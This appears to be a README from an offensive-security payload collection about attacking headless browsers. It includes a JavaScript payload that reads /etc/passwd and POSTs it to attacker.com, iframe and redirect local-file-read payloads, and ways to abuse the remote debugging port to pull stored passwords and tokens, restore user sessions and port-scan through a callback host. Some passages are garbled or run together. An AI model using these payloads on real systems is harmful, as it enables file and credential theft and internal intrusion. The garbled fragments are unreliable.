Headless Browser/README.md
A headless browser is a web browser without a graphical user interface. It works just like a regular browser, such as Chrome or Firefox, by interpreting HTML, CSS, and JavaScript, but it does so in the background, without displaying any visuals. Headless browsers are primarily used for automated tasks, such as web scraping, testing, and running scripts. They are particularly useful in situations where a full-fledged browser is not needed, or where resources (like memory or CPU) are limited.
Example of headless browsers commands:
Google Chrome
google-chrome --headless[=(new|old)] --print-to-pdf https://www.google.com
Mozilla Firefox
firefox --screenshot https://www.google.com
Microsoft Edge
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu --window-size=1280,720 --screenshot="C:\tmp\screen.png" "https://google.com"
If the target is launched with the --allow-file-access option
google-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run --disable-web-security -–allow-file-access-from-files --allow-file-access --allow-cross-origin-auth-prompt --user-data-dir
Since the file access is allowed, an atacker can create and expose an HTML file which captures the content of the /etc/passwd file.
<script>
async function getFlag(){
response = await fetch("file:///etc/passwd");
flag = await response.text();
fetch("https://attacker.com/", { method: "POST", body: flag})
};
getFlag();
</script>
Consider a scenario where a headless browser captures a copy of a webpage and exports it to PDF, while the attacker has control over the URL being processed.
Target: google-chrome-stable --headless[=(new|old)] --print-to-pdf https://site/file.html
Javascript Redirect
<html>
<body>
<script>
window.location="/etc/passwd"
</script>
</body>
</html>
Iframe
<html>
<body>
<iframe src="/etc/passwd" height="640" width="640"></iframe>
</body>
</html>
The Remote Debugging Port in a headless browser (like Headless Chrome or Chromium) is a TCP port that exposes the browser’s DevTools Protocol so external tools (or scripts) can connect and control the browser remotely. It usually listen on port 9222 but it can be changed with --remote-debugging-port=.
Target: google-chrome-stable --headless=new --remote-debugging-port=XXXX ./index.html
Tools:
origin Header.[!NOTE]
Since Chrome update from December 20, 2022, you must start the browser with the argument--remote-allow-origins="*"to connect to the websocket with WhiteChocolateMacademiaNut.
Exploits:
Connect and interact with the browser: chrome://inspect/#devices, opera://inspect/#devices
Kill the currently running browser and use the --restore-last-session to get access to the user's tabs
Data stored in the settings (username, passwords, token): chrome://settings
Port Scan: In a loop open http://localhost:<port>/json/new?http://callback.example.com?port=<port>
Leak UUID: Iframe: http://127.0.0.1:<port>/json/version
{
"Browser": "Chrome/136.0.7103.113",
"Protocol-Version": "1.3",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/136.0.0.0 Safari/537.36",
"V8-Version": "13.6.233.10",
"WebKit-Version": "537.36 (@76fa3c1782406c63308c70b54f228fd39c7aaa71)",
"webSocketDebuggerUrl": "ws://127.0.0.1:9222/devtools/browser/d815e18d-57e6-4274-a307-98649a9e6b87"
}
Local File Read: pich4ya/chrome_remote_debug_lfi.py
Node inspector --inspect works like a --remote-debugging-port
node --inspect app.js # default port 9229
node --inspect=4444 app.js # custom port 4444
node --inspect=0.0.0.0:4444 app.js
Starting from Chrome 136, the switches --remote-debugging-port and --remote-debugging-pipe won't be respected if attempting to debug the default Chrome data directory. These switches must now be accompanied by the --user-data-dir switch to point to a non-standard directory.
The flag --user-data-dir=/path/to/data_dir is used to specify the user's data directory, where Chromium stores all of its application data such as cookies and history. If you start Chromium without specifying this flag, you’ll notice that none of your bookmarks, favorites, or history will be loaded into the browser.
Port Scanning: Timing attack
time_to_error(random_port) > time_to_error(closed_port)*1.3 → port is openedConsideration:
A and AAAA records
AAAA response with valid Internet IPA response with internal IPExploiting a headless browser using a known vulnerability (CVE) involves several steps, from vulnerability research to payload execution. Below is a structured breakdown of the process:
Identify the headless browser with the User-Agent, then choose an exploit targeting the browser's component: V8 engine, Blink renderer, Webkit, etc.
The --no-sandbox option disables the sandbox feature of the renderer process.
const browser = await puppeteer.launch({
args: ['--no-sandbox']
});